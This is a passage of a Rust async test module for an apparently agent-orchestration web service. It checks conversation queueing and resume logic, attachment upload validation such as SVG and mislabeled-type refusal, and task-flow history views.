8114 Ok(Json(NewTalkTurn {
8115 text: "what does the queue module do?".to_owned(),
8116 attachments: Vec::new(),
8117 })),
8118 ));
8119
8120 tokio::time::timeout(Duration::from_secs(5), reached_rx)
8125 .await
8126 .unwrap_or_else(|_| {
8127 panic!(
8128 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
8129 )
8130 })
8131 .expect("the busy branch dropped the gate without using it");
8132
8133 let running = talks.get(&id).expect("reload talk");
8140 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
8141
8142 handler.abort();
8146 let _ = handler.await;
8147
8148 let _ = release_tx.send(());
8154
8155 let mut fresh = talks.get(&id).expect("reload talk");
8158 for _ in 0..SETTLE_STEPS {
8159 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
8160 break;
8161 }
8162 tokio::time::sleep(Duration::from_millis(10)).await;
8163 fresh = talks.get(&id).expect("reload talk");
8164 }
8165 assert!(
8166 fresh.pending.is_empty() && fresh.turns.len() == 2,
8167 "attempt {attempt}: talk {id} left the operator's text queued \
8168 with no drainer - the reclaimed turn was dropped along with \
8169 the handler future (pending {:?}, {} turns)",
8170 fresh.pending,
8171 fresh.turns.len()
8172 );
8173 }
8174 }
8175
8176 #[tokio::test]
8177 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
8178 let (_tmp, _repo, f) = talk_fixture().await;
8179 let id = f.post("/api/talks", None).await.json()["id"]
8180 .as_str()
8181 .expect("id")
8182 .to_owned();
8183 let store = f.talks();
8184 let mut recovered = store.get(&id).expect("opened talk");
8185 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
8186 .expect("persist pending draft without a live turn");
8187
8188 let edited = f
8189 .post(
8190 &format!("/api/talks/{id}/pending/edit"),
8191 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
8192 )
8193 .await;
8194 assert_eq!(edited.status, 200, "{}", edited.body);
8195 assert!(edited.json()["thinking"].as_bool().unwrap());
8196
8197 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
8198 for _ in 0..SETTLE_STEPS {
8199 if detail["turns"].as_array().expect("turns").len() == 2 {
8200 break;
8201 }
8202 tokio::time::sleep(Duration::from_millis(10)).await;
8203 detail = f.get(&format!("/api/talks/{id}")).await.json();
8204 }
8205 let turns = detail["turns"].as_array().expect("turns");
8206 assert_eq!(
8207 turns.len(),
8208 2,
8209 "the recovered draft must run once: {detail}"
8210 );
8211 assert_eq!(turns[0]["body"], "corrected");
8212 assert_eq!(detail["pending"], "");
8213 }
8214
8215 #[tokio::test]
8216 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
8217 let tmp = TempDir::new().expect("tempdir");
8218 let repo = tmp.path().join("repo");
8219 std::fs::create_dir_all(&repo).expect("repo dir");
8220 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
8221 let f = Fixture::with_repo(repo).await;
8222 let id = f.post("/api/talks", None).await.json()["id"]
8223 .as_str()
8224 .expect("id")
8225 .to_owned();
8226 let store = f.talks();
8227 let mut recovered = store.get(&id).expect("opened talk");
8228 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
8229 .expect("persist pending draft without a live turn");
8230
8231 let refused = f
8232 .post(
8233 &format!("/api/talks/{id}/say"),
8234 Some(r#"{"text":"new message"}"#),
8235 )
8236 .await;
8237 assert_eq!(refused.status, 409, "{}", refused.body);
8238 assert!(refused.body.contains("resume"), "{}", refused.body);
8239 let saved = store.get(&id).expect("draft remains after refusal");
8240 assert!(saved.turns.is_empty());
8241 assert_eq!(saved.pending, "saved before restart");
8242
8243 let say_path = format!("/api/talks/{id}/say");
8244 let (first, second) = tokio::join!(
8245 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
8246 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
8247 );
8248 assert_eq!(first.status, 409, "{}", first.body);
8249 assert_eq!(second.status, 409, "{}", second.body);
8250 let saved = store
8251 .get(&id)
8252 .expect("draft remains after concurrent refusals");
8253 assert!(saved.turns.is_empty());
8254 assert_eq!(saved.pending, "saved before restart");
8255
8256 let resumed = f
8257 .post(&format!("/api/talks/{id}/pending/resume"), None)
8258 .await;
8259 assert_eq!(resumed.status, 202, "{}", resumed.body);
8260 let duplicate = f
8261 .post(&format!("/api/talks/{id}/pending/resume"), None)
8262 .await;
8263 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
8264
8265 for _ in 0..SETTLE_STEPS {
8266 if store.get(&id).expect("talk").turns.len() == 2 {
8267 break;
8268 }
8269 tokio::time::sleep(Duration::from_millis(10)).await;
8270 }
8271 let finished = store.get(&id).expect("finished talk");
8272 assert_eq!(finished.turns.len(), 2, "{finished:?}");
8273 assert_eq!(finished.turns[0].body, "saved before restart");
8274 assert!(finished.pending.is_empty());
8275 }
8276
8277 #[tokio::test]
8278 async fn an_image_only_recovered_draft_resumes_without_text() {
8279 let (_tmp, _repo, f) = talk_fixture().await;
8280 let id = f.post("/api/talks", None).await.json()["id"]
8281 .as_str()
8282 .expect("id")
8283 .to_owned();
8284 let uploaded = f
8285 .post_bytes(
8286 &format!("/api/talks/{id}/attachments"),
8287 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
8288 PNG_BYTES,
8289 )
8290 .await;
8291 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
8292 let attachment = f
8293 .talks()
8294 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
8295 .expect("attachment metadata")
8296 .expect("stored attachment");
8297 let store = f.talks();
8298 let mut recovered = store.get(&id).expect("opened talk");
8299 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
8300
8301 let resumed = f
8302 .post(&format!("/api/talks/{id}/pending/resume"), None)
8303 .await;
8304 assert_eq!(resumed.status, 202, "{}", resumed.body);
8305 for _ in 0..SETTLE_STEPS {
8306 if store.get(&id).expect("talk").turns.len() == 2 {
8307 break;
8308 }
8309 tokio::time::sleep(Duration::from_millis(10)).await;
8310 }
8311 let finished = store.get(&id).expect("finished talk");
8312 assert_eq!(finished.turns.len(), 2, "{finished:?}");
8313 assert!(finished.turns[0].body.is_empty());
8314 assert_eq!(finished.turns[0].attachments.len(), 1);
8315 assert!(finished.pending_attachments.is_empty());
8316 }
8317
8318 #[tokio::test]
8319 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
8320 let (_tmp, _repo, f) = talk_fixture().await;
8321 let id = f.post("/api/talks", None).await.json()["id"]
8322 .as_str()
8323 .expect("id")
8324 .to_owned();
8325 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8326 assert_eq!(closed.status, 200, "{}", closed.body);
8327 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
8328 .expect("serialize closed talk");
8329 for (path, body) in [
8330 (format!("/api/talks/{id}/pending/resume"), None),
8331 (
8332 format!("/api/talks/{id}/pending/clear"),
8333 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
8334 ),
8335 (
8336 format!("/api/talks/{id}/pending/edit"),
8337 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
8338 ),
8339 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
8340 ] {
8341 let response = f.post(&path, body).await;
8342 assert_eq!(response.status, 409, "{}", response.body);
8343 }
8344 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
8345 .expect("serialize closed talk");
8346 assert_eq!(
8347 after_clear, before_clear,
8348 "clear must not rewrite a closed talk"
8349 );
8350 }
8351
8352 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
8355
8356 #[tokio::test]
8357 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
8358 let tmp = TempDir::new().expect("tempdir");
8359 let repo = tmp.path().join("repo");
8360 std::fs::create_dir_all(&repo).expect("repo dir");
8361 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
8362 let f = Fixture::with_repo(repo).await;
8363 let id_a = f.post("/api/talks", None).await.json()["id"]
8364 .as_str()
8365 .unwrap()
8366 .to_owned();
8367 let id_b = f.post("/api/talks", None).await.json()["id"]
8368 .as_str()
8369 .unwrap()
8370 .to_owned();
8371
8372 let a = f
8373 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
8374 .await;
8375 assert_eq!(a.status, 202, "{}", a.body);
8376 assert_eq!(a.json()["thinking"], true);
8377 let b = f
8378 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
8379 .await;
8380 assert_eq!(b.status, 202, "{}", b.body);
8381 assert_eq!(b.json()["thinking"], true);
8382
8383 let listed = f.get("/api/talks").await.json();
8384 for id in [&id_a, &id_b] {
8385 let view = listed
8386 .as_array()
8387 .unwrap()
8388 .iter()
8389 .find(|talk| talk["id"] == *id)
8390 .unwrap();
8391 assert_eq!(view["thinking"], true, "{listed}");
8392 }
8393 let repeated = f
8394 .post(
8395 &format!("/api/talks/{id_a}/say"),
8396 Some(r#"{"text":"again"}"#),
8397 )
8398 .await;
8399 assert_eq!(repeated.status, 202, "{}", repeated.body);
8400 assert_eq!(repeated.json()["pending"], "again");
8401 }
8402
8403 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
8406
8407 #[tokio::test]
8408 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
8409 let f = Fixture::start().await;
8410 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
8411
8412 let res = f
8413 .post_bytes(
8414 &format!("/api/talks/{id}/attachments"),
8415 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
8416 PNG_BYTES,
8417 )
8418 .await;
8419 assert_eq!(res.status, 201, "{}", res.body);
8420 let body = res.json();
8421 assert_eq!(body["name"], "shot.png");
8422 assert_eq!(body["mime"], "image/png");
8423 assert_eq!(body["bytes"], PNG_BYTES.len());
8424 let att_id = body["id"].as_str().expect("id").to_owned();
8425 assert_eq!(
8426 att_id.len(),
8427 32,
8428 "the id must never be a client-suppliable path: {att_id}"
8429 );
8430
8431 let got = f
8432 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
8433 .await;
8434 assert_eq!(got.status, 200, "{}", got.body);
8435 assert_eq!(got.header("content-type"), Some("image/png"));
8436 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
8437 assert_eq!(got.bytes, PNG_BYTES);
8438 }
8439
8440 #[tokio::test]
8441 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
8442 let f = Fixture::start().await;
8443 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
8444
8445 let svg = f
8448 .post_bytes(
8449 &format!("/api/talks/{id}/attachments"),
8450 &[("Content-Type", "image/svg+xml")],
8451 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
8452 )
8453 .await;
8454 assert!(
8455 (400..500).contains(&svg.status),
8456 "svg must be refused: {} {}",
8457 svg.status,
8458 svg.body
8459 );
8460 assert!(svg.body.contains("SVG"), "{}", svg.body);
8461
8462 let text = f
8463 .post_bytes(
8464 &format!("/api/talks/{id}/attachments"),
8465 &[("Content-Type", "text/plain")],
8466 b"just some text",
8467 )
8468 .await;
8469 assert!(
8470 (400..500).contains(&text.status),
8471 "an unlisted type must be refused: {} {}",
8472 text.status,
8473 text.body
8474 );
8475
8476 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
8479 let big = f
8480 .post_bytes(
8481 &format!("/api/talks/{id}/attachments"),
8482 &[("Content-Type", "image/png")],
8483 &oversized,
8484 )
8485 .await;
8486 assert_eq!(
8487 big.status,
8488 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
8489 "{}",
8490 big.body
8491 );
8492 }
8493
8494 #[tokio::test]
8495 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
8496 let f = Fixture::start().await;
8497 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
8498
8499 let res = f
8502 .post_bytes(
8503 &format!("/api/talks/{id}/attachments"),
8504 &[("Content-Type", "image/png")],
8505 b"<html>not a picture</html>",
8506 )
8507 .await;
8508 assert!((400..500).contains(&res.status), "{}", res.body);
8509 }
8510
8511 #[tokio::test]
8512 async fn an_unknown_attachment_id_is_a_404() {
8513 let f = Fixture::start().await;
8514 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
8515
8516 let res = f
8517 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
8518 .await;
8519 assert_eq!(res.status, 404, "{}", res.body);
8520 }
8521
8522 #[tokio::test]
8523 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
8524 let f = Fixture::start().await;
8525 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
8526
8527 let uploaded = f
8528 .post_bytes(
8529 &format!("/api/talks/{id}/attachments"),
8530 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
8531 PNG_BYTES,
8532 )
8533 .await;
8534 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
8535 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
8536
8537 let res = f
8538 .post(
8539 &format!("/api/talks/{id}/say"),
8540 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
8541 )
8542 .await;
8543 assert_eq!(res.status, 202, "{}", res.body);
8544 let queued = res.json();
8545 let turns = queued["turns"].as_array().expect("turns array");
8546 assert_eq!(
8547 turns.len(),
8548 1,
8549 "an empty body with an attachment is still a turn: {queued}"
8550 );
8551 assert_eq!(turns[0]["who"], "operator");
8552 assert_eq!(turns[0]["body"], "");
8553 let atts = turns[0]["attachments"]
8554 .as_array()
8555 .expect("attachments array");
8556 assert_eq!(atts.len(), 1);
8557 assert_eq!(atts[0]["id"], att_id);
8558 assert_eq!(atts[0]["mime"], "image/png");
8559
8560 let on_disk = f.talks().get(&id).expect("get");
8563 assert_eq!(on_disk.turns[0].attachments.len(), 1);
8564 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
8565 }
8566
8567 #[tokio::test]
8568 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
8569 let f = Fixture::start().await;
8570 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
8571
8572 let res = f
8573 .post(
8574 &format!("/api/talks/{id}/say"),
8575 Some(&format!(
8576 r#"{{"text":"hi","attachments":["{}"]}}"#,
8577 "a".repeat(32)
8578 )),
8579 )
8580 .await;
8581 assert!((400..500).contains(&res.status), "{}", res.body);
8582 assert!(res.body.contains("unknown attachment"), "{}", res.body);
8583
8584 let on_disk = f.talks().get(&id).expect("get");
8585 assert!(
8586 on_disk.turns.is_empty(),
8587 "a rejected attachment id must not partially record the turn: {:?}",
8588 on_disk.turns
8589 );
8590 }
8591
8592 #[tokio::test]
8593 async fn talk_close_makes_the_talk_refuse_further_turns() {
8594 let f = Fixture::start().await;
8595 let id = seed_talk(&f, "20260904-014455-cd34", "open");
8596
8597 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8598 assert_eq!(closed.status, 200, "{}", closed.body);
8599 assert_eq!(closed.json()["status"], "closed");
8600
8601 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
8603 assert_eq!(closed_again.status, 200);
8604 assert_eq!(closed_again.json()["status"], "closed");
8605
8606 let said = f
8607 .post(
8608 &format!("/api/talks/{id}/say"),
8609 Some(r#"{"text":"too late"}"#),
8610 )
8611 .await;
8612 assert_eq!(said.status, 409, "{}", said.body);
8613 }
8614
8615 #[tokio::test]
8616 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
8617 let (_tmp, _repo, f) = talk_fixture().await;
8618 let id = f.post("/api/talks", None).await.json()["id"]
8619 .as_str()
8620 .expect("id")
8621 .to_owned();
8622 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8623 assert_eq!(closed.status, 200, "{}", closed.body);
8624
8625 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
8626 assert_eq!(reopened.status, 200, "{}", reopened.body);
8627 assert_eq!(reopened.json()["status"], "open");
8628
8629 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
8631 assert_eq!(reopened_again.status, 200);
8632 assert_eq!(reopened_again.json()["status"], "open");
8633
8634 let said = f
8635 .post(
8636 &format!("/api/talks/{id}/say"),
8637 Some(r#"{"text":"still there?"}"#),
8638 )
8639 .await;
8640 assert_eq!(
8641 said.status, 202,
8642 "a reopened talk accepts turns again: {}",
8643 said.body
8644 );
8645 }
8646
8647 #[tokio::test]
8648 async fn talk_reopen_on_an_unknown_id_is_404() {
8649 let f = Fixture::start().await;
8650 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
8651 assert_eq!(res.status, 404, "{}", res.body);
8652 }
8653
8654 #[tokio::test]
8655 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
8656 let f = Fixture::start().await;
8657 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
8658
8659 let deleted = f.delete(&format!("/api/talks/{id}")).await;
8660 assert_eq!(deleted.status, 204, "{}", deleted.body);
8661
8662 let after = f.get(&format!("/api/talks/{id}")).await;
8663 assert_eq!(after.status, 404, "{}", after.body);
8664
8665 let listed = f.get("/api/talks").await.json();
8666 assert!(
8667 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
8668 "a deleted talk must not linger in the list: {listed}"
8669 );
8670 }
8671
8672 #[tokio::test]
8673 async fn talk_delete_on_an_unknown_id_is_404() {
8674 let f = Fixture::start().await;
8675 let res = f.delete("/api/talks/nonexistent-id").await;
8676 assert_eq!(res.status, 404, "{}", res.body);
8677 }
8678
8679 #[tokio::test]
8683 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
8684 let f = Fixture::start().await;
8685 let (a, b, gone) = (
8686 "20260902-140501-aaaa",
8687 "20260902-140502-bbbb",
8688 "20260902-140503-cccc",
8689 );
8690 write_run(&f.runs(), a, RunStatus::Stalled);
8691 let mut review = RunState::new(
8692 PathBuf::from("/repo/magi"),
8693 "main".to_owned(),
8694 "0123456789abcdef".to_owned(),
8695 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
8696 .to_owned(),
8697 Config::default(),
8698 );
8699 review.id = b.to_owned();
8700 review.status = RunStatus::Merged;
8701 write_state(&f.runs(), &review);
8702
8703 let mut task = Task::new(
8704 "retry".to_owned(),
8705 "Do the thing".to_owned(),
8706 PathBuf::from("/repo/magi"),
8707 Source::Human,
8708 );
8709 task.start(a.to_owned());
8710 task.stall("quota");
8711 task.start(a.to_owned());
8712 task.start(b.to_owned());
8713 task.start(gone.to_owned());
8714 f.queue().put(&mut task).expect("file the task");
8715
8716 let res = f.get(&format!("/api/queue/{}", task.id)).await;
8717 assert_eq!(res.status, 200, "{}", res.body);
8718 let v = res.json();
8719 let h = v["history"].as_array().expect("history");
8720 assert_eq!(h.len(), 4, "{v}");
8721 assert_eq!(h[0]["kind"], "competition");
8722 assert_eq!(h[0]["status"], "stalled");
8723 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
8724 assert_eq!(h[1]["kind"], "resume", "{v}");
8725 assert!(
8726 h[0]["outcome"]
8727 .as_str()
8728 .unwrap()
8729 .contains("unknown. Pass #2"),
8730 "an earlier pass of a resumed run must not claim the final outcome: {v}"
8731 );
8732 assert!(
8733 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
8734 "{v}"
8735 );
8736 assert!(
8737 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
8738 "an unrecorded cause must not be narrated as an operator park: {v}"
8739 );
8740 assert_eq!(h[2]["kind"], "review");
8741 assert!(
8742 h[2]["description"]
8743 .as_str()
8744 .unwrap()
8745 .contains("magi/aaaa/A")
8746 );
8747 assert_eq!(h[2]["status"], "merged");
8748 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
8749 assert_eq!(v["runs_unreadable"], 1);
8750 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
8751 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
8752 assert_eq!(nodes[4]["note"], "unreadable");
8753 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
8754 assert_eq!(v["instruction"], "Do the thing");
8755 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
8756
8757 let run = f.get(&format!("/api/runs/{a}")).await.json();
8759 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
8760
8761 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
8762 }
8763
8764 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
8765 let mut s = RunState::new(
8766 PathBuf::from("/repo/magi"),
8767 "main".to_owned(),
8768 "0123456789abcdef".to_owned(),
8769 "Do it".to_owned(),
8770 Config::default(),
8771 );
8772 s.status = status;
8773 edit(&mut s);
8774 s
8775 }
8776
8777 fn flow_task(runs: &[&str]) -> Task {
8778 let mut t = Task::new(
8779 "t".to_owned(),
8780 "Do it".to_owned(),
8781 PathBuf::from("/repo/magi"),
8782 Source::Human,
8783 );
8784 for r in runs {
8785 t.start((*r).to_owned());
8786 }
8787 t
8788 }
8789
8790 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
8791 let h = task_history(task, |id| {
8792 states
8793 .iter()
8794 .find(|(i, _)| *i == id)
8795 .and_then(|(_, s)| s.clone())
8796 });
8797 task_flow(task, &h, 5)
8798 }
8799
8800 #[test]
8801 fn flow_opens_with_the_chat_that_queued_the_task() {
8802 let mut t = flow_task(&[]);
8803 t.source = Source::Agent {
8804 run: "a b/c".to_owned(),
8805 node: crate::queue::CHAT_NODE.to_owned(),
8806 };
8807 let f = flow_for(&t, &[]);
8808 assert_eq!(f.nodes[0].key, "chat");
8809 assert_eq!(f.nodes[0].kind, "chat");
8810 assert_eq!(
8811 f.nodes[0].label,
8812 format!("Chat {}", crate::queue::short("a b/c"))
8813 );
8814 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
8815 assert_eq!(f.nodes[1].key, "start");
8816 assert_eq!(
8817 f.edges[0],
8818 FlowEdge {
8819 from: "chat".to_owned(),
8820 to: "start".to_owned(),
8821 label: "queued from chat".to_owned(),
8822 attempt: AttemptCost::None,
8823 }
8824 );
8825 }
8826
8827 #[test]
8828 fn flow_has_no_chat_box_for_other_sources() {
8829 for source in [
8830 Source::Human,
8831 Source::Issue {
8832 number: 3,
8833 repo: "o/r".to_owned(),
8834 },
8835 Source::Agent {
8836 run: "20260904-014455-ab12".to_owned(),
8837 node: "implement".to_owned(),
8838 },
8839 ] {
8840 let mut t = flow_task(&[]);
8841 t.source = source;
8842 let f = flow_for(&t, &[]);
8843 assert_eq!(f.nodes[0].key, "start");
8844 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
8845 assert!(f.edges.iter().all(|e| e.from != "chat"));
8846 }
8847 }
8848
8849 const FA: &str = "20260902-140501-aaaa";
8850 const FB: &str = "20260902-140502-bbbb";
8851
8852 #[test]
8853 fn flow_follows_blocked_retry_merged_to_done() {
8854 let mut t = flow_task(&[FA, FB]);
8855 t.status = TaskStatus::Done;
8856 let f = flow_for(
8857 &t,
8858 &[
8859 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
8860 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
8861 ],
8862 );
8863 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
8864 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
8865 assert_eq!(f.edges.len(), 3);
8866 assert_eq!(f.edges[0].label, "claimed");
8867 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
8868 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
8869 assert_eq!(f.edges[2].label, "merged \u{2192} done");
8870 assert_eq!(
8871 f.nodes[2].href.as_deref(),
8872 Some("#/runs/20260902-140502-bbbb")
8873 );
8874 assert!(f.nodes[2].decided);
8875 }
8876
8877 #[test]
8878 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
8879 let quota = || {
8880 flow_run(RunStatus::Stalled, |s| {
8881 s.quota.push(crate::run::QuotaLoss {
8882 seat: "judge-1".to_owned(),
8883 node: "judge".to_owned(),
8884 at: Timestamp::now(),
8885 reset: None,
8886 })
8887 })
8888 };
8889 let mut t = flow_task(&[FA, FA]);
8890 t.status = TaskStatus::Queued;
8891 let f = flow_for(&t, &[(FA, Some(quota()))]);
8892 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
8893 assert_eq!(f.nodes[1].note, Some("interrupted"));
8894 assert_eq!(
8895 f.nodes[1].status, None,
8896 "no outcome copied onto an earlier pass"
8897 );
8898 assert_eq!(
8899 f.edges[1].attempt,
8900 AttemptCost::Unknown,
8901 "a resume does not prove the earlier pass was refunded"
8902 );
8903 assert!(f.edges[1].label.contains("resume the same run"));
8904 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
8905 assert_eq!(
8906 f.edges[2].label,
8907 "stalled after a resume, refund unknown \u{2192} queued"
8908 );
8909 assert!(!f.nodes[2].decided, "a stall is not a decision");
8910 assert_eq!(f.nodes[2].note, Some("no verdict"));
8911 }
8912
8913 #[test]
8914 fn flow_single_pass_quota_stall_is_refunded() {
8915 let t = flow_task(&[FA]);
8916 let f = flow_for(
8917 &t,
8918 &[(
8919 FA,
8920 Some(flow_run(RunStatus::Stalled, |s| {
8921 s.quota.push(crate::run::QuotaLoss {
8922 seat: "judge-1".to_owned(),
8923 node: "judge".to_owned(),
8924 at: Timestamp::now(),
8925 reset: None,
8926 })
8927 })),
8928 )],
8929 );
8930 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
8931 }
8932
8933 #[test]
8934 fn flow_parked_refunds_and_stall_without_quota_spends() {
8935 let mut t = flow_task(&[FA]);
8936 t.status = TaskStatus::Queued;
8937 let f = flow_for(
8938 &t,
8939 &[(
8940 FA,
8941 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
8942 )],
8943 );
8944 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
8945 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
8946 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
8947 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
8948 assert!(!f.nodes[1].decided);
8949 }
8950
8951 #[test]
8952 fn flow_keeps_an_unreadable_run_as_its_own_node() {
8953 let t = flow_task(&[FA, FB]);
8954 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
8955 assert_eq!(f.nodes[1].note, Some("unreadable"));
8956 assert!(!f.nodes[1].readable);
8957 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
8958 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
8959 }
8960
8961 #[test]
8962 fn flow_names_the_branch_of_a_review_only_run() {
8963 let t = flow_task(&[FA]);
8964 let f = flow_for(
8965 &t,
8966 &[(
8967 FA,
8968 Some(flow_run(RunStatus::Merged, |s| {
8969 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
8970 })),
8971 )],
8972 );
8973 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
8974 assert_eq!(
8975 f.nodes[1].detail.as_deref(),
8976 Some("review-only run of branch magi/x/A")
8977 );
8978 }
8979
8980 #[test]
8981 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
8982 let mut t = flow_task(&[FA]);
8983 t.status = TaskStatus::Held;
8984 let pr = crate::run::PrRecord {
8985 url: "https://example.test/pr/1".to_owned(),
8986 number: 1,
8987 state: "open".to_owned(),
8988 checks: "green".to_owned(),
8989 round: 0,
8990 rounds: 3,
8991 red_at_merge: Vec::new(),
8992 };
8993 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
8994 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
8995 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
8996 t.status = TaskStatus::Done;
8997 let f = flow_for(&t, &[(FA, Some(blocked))]);
8998 assert_eq!(f.edges[1].label, "closed by hand: task is done");
8999 }
9000
9001 #[test]
9002 fn flow_with_no_runs_goes_from_queued_to_queued() {
9003 let t = flow_task(&[]);
9004 let f = flow_for(&t, &[]);
9005 assert_eq!(f.nodes.len(), 2);
9006 assert_eq!(f.edges.len(), 1);
9007 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
9008 assert_eq!(f.edges[0].attempt, AttemptCost::None);
9009 }
9010
9011 #[test]
9014 fn a_parked_non_terminal_run_is_explained_as_parked() {
9015 let mut s = RunState::new(
9016 PathBuf::from("/repo/magi"),
9017 "main".to_owned(),
9018 "0123456789abcdef".to_owned(),
9019 "Do it".to_owned(),
9020 Config::default(),
9021 );
9022 s.status = RunStatus::Implementing;
9023 s.parked = true;
9024 let task = Task::new(
9025 "t".to_owned(),
9026 "Do it".to_owned(),
9027 PathBuf::from("/repo/magi"),
9028 Source::Human,
9029 );
9030 let v = task_run_view(
9031 "20260902-140501-aaaa",
9032 Some(&s),
9033 RunSlot {
9034 n: 1,
9035 resumed: false,
9036 resumed_later: None,
9037 prior: None,
9038 last: true,
9039 },
9040 &task,
9041 );
9042 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
9043 }
9044
9045 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
9046 let mut s = flow_run(RunStatus::Implementing, edit);
9047 s.parked = false;
